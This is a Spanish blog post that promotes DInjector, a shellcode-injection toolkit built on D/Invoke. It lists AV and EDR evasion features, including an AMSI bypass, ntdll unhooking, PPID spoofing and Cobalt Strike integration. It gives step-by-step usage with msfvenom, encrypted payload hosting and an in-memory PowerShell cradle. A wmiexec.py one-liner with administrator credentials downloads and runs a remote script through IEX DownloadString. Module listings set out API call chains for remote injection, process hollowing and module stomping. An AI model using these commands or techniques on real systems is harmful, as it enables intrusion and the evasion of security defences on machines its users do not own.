DInjector: técnicas de inyección de shellcodes usando D/Invoke

Con la API de SharpSploit D/Invoke, en lugar de importar estáticamente las llamadas a la API con PInvoke, podemos invocarlas dinámicamente para cargar una DLL en tiempo de ejecución y llamar a la función usando un puntero a su ubicación en la memoria. Esto nos permite bypassear los hooks de varias maneras y ejecutar payloads en post-explotación de manera reflexiva, evitando también las detecciones basadas en las búsquedas de importaciones sospechosas en la IAT del PE.

Ahora snovvcrash ha publicado DInjector, un repo con muchos snippets que implenta varias técnicas de inyección de shellcodes usando D/Invoke con características muy interesantes:

  • Completamente portado a D/Invoke API
  • Payloads cifrados que se pueden invocar desde una URL o pasar en base64 como argumento
  • Bypass AMSI incorporado
  • PPID Spoofing y bloqueo de archivos DLL que no son de Microsoft (cogidos de TikiTorch, el informe está aquí)
  • Sencilla detección y evasión de sandbox
  • Cálculo de números primos para emular el sleep para la evasión de escaneo en memoria
  • Unhooking de Ntdll.dll
  • Integración Cobalt Strike

Uso

  1. Compila el proyecto en VS (o a través de OffensivePipeline).
  2. Genera un shellcode de tu elección:
    ~$ msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f raw -o shellcode.bin
  3. Cifrar el shellcode
    ~$ encrypt.py shellcode.bin -p 'Passw0rd!' -o enc
  4. Servir el shellcode cifrado
    ~$ sudo python3 -m http.server 80
  5. Utilizar el cradle de PowerShell para descargar DInjector.dll como System.Reflection.Assembly y ejecutarlo desde memoria.

Nota: no es recomendable poner el assembly en disco porque probablemente será detectado

Argumentos:

Nombre Requerido Valores de ejemplo
Descripción
/sc heavy_check_mark http://10.10.13.37/enc Configura el path del shellcode (puede ser cargado desde una URL o como una string en base64)
/password heavy_check_mark Passw0rd! Configura el password para descifrar el shellcode
/sleep x 10, 25 Configura los segundos (aprox.) para esperar antes de la ejecucióbn
/am51 x True, False Aplica el bypass de AMS
/unhook x True, False Unhookea ntdll.dll


Integración con Cobalt Strike
Para usar DInjector en Cobalt Strike, compilar el proyecto como una aplicación de consola y poner el assembly junto al Aggressor script.


Módulos

FunctionPointer

module_name: 'functionpointer'
arguments:
description: |
  Allocates a RW memory region, copies the shellcode into it and executes it like a function.
calls:
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
  - 'http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/'
  - 'https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis'
  - 'https://www.fergonez.net/post/shellcode-csharp'

information_source Cuando cargamos el cradle desde una shell semi-interactiva, usar Invoke-WmiMethod para spawnear un proceso de PowerShell. Ejemplo con wmiexec.py:

~$ wmiexec.py -silentcommand -nooutput administrator:'Passw0rd!'@192.168.1.11 "powershell -enc $(echo -n 'Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc '`echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/cradle.ps1")' | iconv -t UTF-16LE | base64 -w0`'")' | iconv -t UTF-16LE | base64 -w0)"

FunctionPointerV2

module_name: 'functionpointerv2'
arguments:
description: |
  Sets RX on a byte array and executes it like a function.
calls:
  - ntdll.dll:
    1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
  - 'https://jhalon.github.io/utilizing-syscalls-in-csharp-1/'
  - 'https://jhalon.github.io/utilizing-syscalls-in-csharp-2/'
  - 'https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs'

ClipboardPointer

module_name: 'clipboardpointer'
arguments:
description: |
  Copies shellcode bytes into the clipboard, sets RX on it and executes it like a function.
calls:
  - user32.dll:
    1: 'OpenClipboard'
    2: 'SetClipboardData'
    3: 'CloseClipboard'
  - ntdll.dll:
    1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: true
references:
  - 'https://gist.github.com/Wra7h/69a03c802ae6977e74b1152a4b004515'

CurrentThread

module_name: 'currentthread'
arguments:
description: |
  Injects shellcode into current process.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    3: 'NtCreateThreadEx'
    4: 'NtWaitForSingleObject'
opsec_safe: false
references:
  - 'https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs'

CurrentThreadUuid (para payloads pequeños)

module_name: 'currentthreaduuid'
arguments:
description: |
  Injects shellcode into current process.
  Thread execution via EnumSystemLocalesA.
calls:
  - kernel32.dll:
    1: 'HeapCreate'
    2: 'EnumSystemLocalesA'
  - rpcrt4.dll:
    1: 'UuidFromStringA'
opsec_safe: false
references:
  - 'https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/'
  - 'https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs'

RemoteThread

module_name: 'remotethread'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote process.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    3: 'NtWriteVirtualMemory (shellcode)'
    4: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    5: 'NtCreateThreadEx'
opsec_safe: false
references:
  - 'https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs'

RemoteThreadDll

module_name: 'remotethreaddll'
arguments: |
  /pid:1337
  /dll:msvcp_win.dll
description: |
  Injects shellcode into an existing remote process overwriting one of its loaded modules' .text section.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtWriteVirtualMemory (shellcode)'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    4: 'NtCreateThreadEx'
opsec_safe:
references:
  - 'https://www.netero1010-securitylab.com/eavsion/alternative-process-injection'

RemoteThreadView

module_name: 'remotethreadview'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote process.
  Thread execution via RtlCreateUserThread.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtCreateSection (PAGE_EXECUTE_READWRITE)'
    3: 'NtMapViewOfSection (PAGE_READWRITE)'
    4: 'NtMapViewOfSection (PAGE_EXECUTE_READ)'
    5: 'RtlCreateUserThread'
    6: 'NtUnmapViewOfSection'
opsec_safe: false
references:
  - 'https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Sections%20Shellcode%20Process%20Injector/Program.cs'

RemoteThreadSuspended

module_name: 'remotethreadsuspended'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote process and flips memory protection to PAGE_NOACCESS.
  After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE_EXECUTE_READ.
  Thread execution via NtCreateThreadEx.
calls:
  - ntdll.dll:
    1: 'NtOpenProcess'
    2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    3: 'NtWriteVirtualMemory (shellcode)'
    4: 'NtProtectVirtualMemory (PAGE_NOACCESS)'
    5: 'NtCreateThreadEx (CREATE_SUSPENDED)'
    6: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    7: 'NtResumeThread'
opsec_safe: true
references:
  - 'https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/'
  - 'https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs'

RemoteThreadKernelCB (UNSTABLE)

module_name: 'remotethreadkernelcb'
arguments: |
  /pid:1337
description: |
  Injects shellcode into an existing remote GUI process by spoofing the fnCOPYDATA value in KernelCallbackTable.
  Thread execution via SendMessageA.
calls:
  - user32.dll:
     1: 'FindWindowExA'
     2: 'SendMessageA'
  - ntdll.dll:
     1: 'NtOpenProcess'
     2: 'NtQueryInformationProcess'
     3: 'NtReadVirtualMemory (kernelCallbackAddress)'
     4: 'NtReadVirtualMemory (kernelCallbackValue)'
     5: 'NtReadVirtualMemory (kernelStruct.fnCOPYDATA)'
     6: 'NtProtectVirtualMemory (PAGE_READWRITE)'
     7: 'NtWriteVirtualMemory (shellcode)'
     8: 'NtProtectVirtualMemory (oldProtect)'
     9: 'NtProtectVirtualMemory (PAGE_READWRITE)'
    10: 'NtWriteVirtualMemory (origData)'
    11: 'NtProtectVirtualMemory (oldProtect)'
opsec_safe:
references:
  - 'https://t0rchwo0d.github.io/windows/Windows-Process-Injection-Technique-KernelCallbackTable/'
  - 'https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/'
  - 'https://gist.github.com/sbasu7241/5dd8c278762c6305b4b2009d44d60c13'

RemoteThreadAPC

module_name: 'remotethreadapc'
arguments: |
  /image:C:\Windows\System32\svchost.exe
  /ppid:31337
  /blockDlls:True
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via NtQueueApcThread.
calls:
  - kernel32.dll:
    1: 'InitializeProcThreadAttributeList'
    2: 'UpdateProcThreadAttribute (blockDLLs)'
    3: 'UpdateProcThreadAttribute (PPID)'
    4: 'CreateProcessA'
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtWriteVirtualMemory (shellcode)'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    4: 'NtOpenThread'
    5: 'NtQueueApcThread'
    6: 'NtAlertResumeThread'
opsec_safe: true
references:
  - 'https://rastamouse.me/exploring-process-injection-opsec-part-2/'
  - 'https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0'

RemoteThreadContext

module_name: 'remotethreadcontext'
arguments: |
  /image:C:\Windows\System32\svchost.exe
  /ppid:31337
  /blockDlls:True
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via SetThreadContext.
calls:
  - kernel32.dll:
    1: 'InitializeProcThreadAttributeList'
    2: 'UpdateProcThreadAttribute (blockDLLs)'
    3: 'UpdateProcThreadAttribute (PPID)'
    4: 'CreateProcessA'
  - ntdll.dll:
    1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
    2: 'NtWriteVirtualMemory (shellcode)'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
    4: 'NtCreateThreadEx (CREATE_SUSPENDED)'
    5: 'GetThreadContext'
    6: 'SetThreadContext'
    7: 'NtResumeThread'
opsec_safe: true
references:
  - 'https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/'
  - 'https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs'

ProcessHollowing

module_name: 'processhollowing'
arguments: |
  /image:C:\Windows\System32\svchost.exe
  /ppid:31337
  /blockDlls:True
description: |
  Injects shellcode into a newly spawned remote process.
  Thread execution via NtResumeThread (hollowing with shellcode).
calls:
  - kernel32.dll:
    1: 'InitializeProcThreadAttributeList'
    2: 'UpdateProcThreadAttribute (blockDLLs)'
    3: 'UpdateProcThreadAttribute (PPID)'
    4: 'CreateProcessA'
  - ntdll.dll:
    1: 'NtQueryInformationProcess'
    2: 'NtReadVirtualMemory (ptrImageBaseAddress)'
    3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)'
    4: 'NtWriteVirtualMemory (shellcode)'
    5: 'NtProtectVirtualMemory (oldProtect)'
    6: 'NtResumeThread'
opsec_safe: false
references:
  - 'https://github.com/CCob/SharpBlock/blob/master/Program.cs'

ModuleStomping

module_name: 'modulestomping'
arguments: |
  /image:C:\Windows\System32\svchost.exe
  /stomp:xpsservices.dll
  /export:DllCanUnloadNow
  /ppid:31337
  /blockDlls:True
description: |
  Loads a trusted module from disk and overwrites one of its exported functions.
  Thread execution via NtCreateThreadEx.
calls:
  - kernel32.dll:
     1: 'InitializeProcThreadAttributeList'
     2: 'UpdateProcThreadAttribute (blockDLLs)'
     3: 'UpdateProcThreadAttribute (PPID)'
     4: 'CreateProcessA'
  - ntdll.dll:
     1: 'NtAllocateVirtualMemory (bModuleName, PAGE_READWRITE)'
     2: 'NtAllocateVirtualMemory (shim, PAGE_READWRITE)'
     3: 'NtWriteVirtualMemory (bModuleName)'
     4: 'NtWriteVirtualMemory (shim)'
     5: 'NtProtectVirtualMemory (shim, PAGE_EXECUTE_READ)'
     6: 'NtCreateThreadEx (shim)'
     7: 'NtWaitForSingleObject'
     8: 'NtFreeVirtualMemory (allocModule)'
     9: 'NtFreeVirtualMemory (allocShim)'
    10: 'NtProtectVirtualMemory (shellcode, PAGE_READWRITE)'
    11: 'NtWriteVirtualMemory (shellcode)'
    12: 'NtProtectVirtualMemory (shellcode, PAGE_EXECUTE_READ)'
    13: 'NtCreateThreadEx (shellcode)'
opsec_safe: true
references:
  - 'https://offensivedefence.co.uk/posts/module-stomping/'
  - 'https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Stomper.cs'

Proyecto: https://github.com/snovvcrash/DInjector

Comentarios